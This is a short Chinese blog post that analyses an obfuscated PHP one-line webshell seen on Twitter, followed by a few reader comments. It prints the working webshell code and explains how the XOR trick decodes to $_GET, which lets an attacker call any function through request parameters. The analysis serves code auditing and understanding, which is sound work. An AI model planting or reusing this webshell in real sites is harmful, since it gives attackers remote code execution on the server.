对新型变形一句话木马的分析 作者: admin 时间: 2019-08-03 分类: 随便写写 在Twitter上看到有人发了一个变形不错的一句话,固有此分析过程。 ![](https://s3-ap-northeast-1.amazonaws.com/bobylive-notes-asia/uploads/upload_d6886736b03e4174b608f7762e848032.png) # 代码分析 先看代码 ```php=1 =~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]); ``` 咋一看,很复杂,完全不知道入手,其实万变不离其宗,整个代码分成两句。 第一句 ```php=1 =~$_='$<>/'^'{{{{'; ``` 异或记算然后将值赋给了 **$_** 。异或结果就是 **_GET** ![](https://s3-ap-northeast-1.amazonaws.com/bobylive-notes-asia/uploads/upload_b402be93eb6e16274fb41db4c932a21a.png) 紧接着进行取反操作。这里很多人看了会有点懵,我刚开始以为是 **=~** 一起的,结果我搜了一下全网资源,发现原来是 **=** 才是一起的(这个是php的短输出标签写法,其实就是相当于一个echo)。 第二句 ```php=1 @${$_}[_](@${$_}[__]); ``` 看到这里大家都明白了,**$_ = _GET** , 然后利用可变变量的特性进行组合,@禁止报错输出,所以结果为 ```php=1 @${_GET}[_](@${_GET}[__]); ``` 调用就很简单了,看图就懂了。 ![](https://s3-ap-northeast-1.amazonaws.com/bobylive-notes-asia/uploads/upload_d408e31d6dd50927db2281255ec3dd7d.png) # 总结 总体来说,这个一句话变形没有多复杂,细细分析还是能分析出结果。 # 参考文献 [可变变量](https://www.php.net/manual/en/language.variables.variable.php) [PHP Short echo tags](https://www.php.net/manual/zh/language.basic-syntax.phptags.php) [What does '=' mean in PHP](https://stackoverflow.com/questions/2020445/what-does-mean-in-php) 标签: 代码审计
good post
大佬,图挂了
图没挂啊,请带梯子呀